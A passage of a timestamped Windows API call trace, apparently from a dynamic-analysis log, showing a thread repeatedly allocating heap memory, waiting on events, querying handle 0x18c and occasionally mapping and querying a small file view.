Flags=0x8, Size=0x200) returned 0x107fd60 [0071.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.837] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.837] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.837] ResetEvent (hEvent=0x110) returned 1 [0071.837] SetEvent (hEvent=0x114) returned 1 [0071.837] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.837] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.837] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.837] ResetEvent (hEvent=0x110) returned 1 [0071.837] SetEvent (hEvent=0x114) returned 1 [0071.837] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.837] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.837] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.837] ResetEvent (hEvent=0x110) returned 1 [0071.838] SetEvent (hEvent=0x114) returned 1 [0071.838] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.838] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.838] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.838] ResetEvent (hEvent=0x110) returned 1 [0071.838] SetEvent (hEvent=0x114) returned 1 [0071.838] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.838] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.838] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.838] ResetEvent (hEvent=0x110) returned 1 [0071.838] SetEvent (hEvent=0x114) returned 1 [0071.838] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.839] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.839] ResetEvent (hEvent=0x110) returned 1 [0071.839] SetEvent (hEvent=0x114) returned 1 [0071.839] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.839] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.839] ResetEvent (hEvent=0x110) returned 1 [0071.839] SetEvent (hEvent=0x114) returned 1 [0071.839] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.839] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.839] ResetEvent (hEvent=0x110) returned 1 [0071.839] SetEvent (hEvent=0x114) returned 1 [0071.839] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.840] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.840] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.840] ResetEvent (hEvent=0x110) returned 1 [0071.840] SetEvent (hEvent=0x114) returned 1 [0071.840] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.840] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.840] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.840] ResetEvent (hEvent=0x110) returned 1 [0071.840] SetEvent (hEvent=0x114) returned 1 [0071.840] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.840] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.840] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.840] ResetEvent (hEvent=0x110) returned 1 [0071.840] SetEvent (hEvent=0x114) returned 1 [0071.841] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.841] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.841] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.841] ResetEvent (hEvent=0x110) returned 1 [0071.841] SetEvent (hEvent=0x114) returned 1 [0071.841] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.841] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.841] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.841] ResetEvent (hEvent=0x110) returned 1 [0071.841] SetEvent (hEvent=0x114) returned 1 [0071.841] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.841] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.841] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.841] ResetEvent (hEvent=0x110) returned 1 [0071.842] SetEvent (hEvent=0x114) returned 1 [0071.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.842] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.842] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.842] ResetEvent (hEvent=0x110) returned 1 [0071.842] SetEvent (hEvent=0x114) returned 1 [0071.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.842] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.842] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.842] ResetEvent (hEvent=0x110) returned 1 [0071.842] SetEvent (hEvent=0x114) returned 1 [0071.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.843] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.843] ResetEvent (hEvent=0x110) returned 1 [0071.843] SetEvent (hEvent=0x114) returned 1 [0071.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.843] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.843] ResetEvent (hEvent=0x110) returned 1 [0071.843] SetEvent (hEvent=0x114) returned 1 [0071.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.843] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.843] ResetEvent (hEvent=0x110) returned 1 [0071.843] SetEvent (hEvent=0x114) returned 1 [0071.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.844] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.844] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.844] ResetEvent (hEvent=0x110) returned 1 [0071.844] SetEvent (hEvent=0x114) returned 1 [0071.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.844] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.844] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.844] ResetEvent (hEvent=0x110) returned 1 [0071.844] SetEvent (hEvent=0x114) returned 1 [0071.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.844] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.844] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.844] ResetEvent (hEvent=0x110) returned 1 [0071.845] SetEvent (hEvent=0x114) returned 1 [0071.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.845] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.845] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.845] ResetEvent (hEvent=0x110) returned 1 [0071.845] SetEvent (hEvent=0x114) returned 1 [0071.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.845] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.845] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.845] ResetEvent (hEvent=0x110) returned 1 [0071.845] SetEvent (hEvent=0x114) returned 1 [0071.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.845] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.846] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.846] ResetEvent (hEvent=0x110) returned 1 [0071.846] SetEvent (hEvent=0x114) returned 1 [0071.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.846] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.846] ResetEvent (hEvent=0x110) returned 1 [0071.846] SetEvent (hEvent=0x114) returned 1 [0071.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.846] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.846] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.846] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.846] ResetEvent (hEvent=0x110) returned 1 [0071.847] SetEvent (hEvent=0x114) returned 1 [0071.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.847] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.847] ResetEvent (hEvent=0x110) returned 1 [0071.847] SetEvent (hEvent=0x114) returned 1 [0071.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.847] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.847] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.847] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.847] ResetEvent (hEvent=0x110) returned 1 [0071.847] SetEvent (hEvent=0x114) returned 1 [0071.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.848] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.848] ResetEvent (hEvent=0x110) returned 1 [0071.848] SetEvent (hEvent=0x114) returned 1 [0071.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.848] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.848] ResetEvent (hEvent=0x110) returned 1 [0071.848] SetEvent (hEvent=0x114) returned 1 [0071.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.848] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.848] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.848] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.849] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.849] ResetEvent (hEvent=0x110) returned 1 [0071.849] SetEvent (hEvent=0x114) returned 1 [0071.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.849] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.849] ResetEvent (hEvent=0x110) returned 1 [0071.849] SetEvent (hEvent=0x114) returned 1 [0071.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.849] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.849] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.849] ResetEvent (hEvent=0x110) returned 1 [0071.849] SetEvent (hEvent=0x114) returned 1 [0071.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.850] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.850] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.850] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.850] ResetEvent (hEvent=0x110) returned 1 [0071.850] SetEvent (hEvent=0x114) returned 1 [0071.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.850] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.850] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.850] ResetEvent (hEvent=0x110) returned 1 [0071.850] SetEvent (hEvent=0x114) returned 1 [0071.882] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.883] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.883] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.883] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.883] ResetEvent (hEvent=0x110) returned 1 [0071.883] SetEvent (hEvent=0x114) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.883] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.883] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.883] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.883] ResetEvent (hEvent=0x110) returned 1 [0071.883] SetEvent (hEvent=0x114) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.883] WaitForMultipleObjects (nCount=0x2, 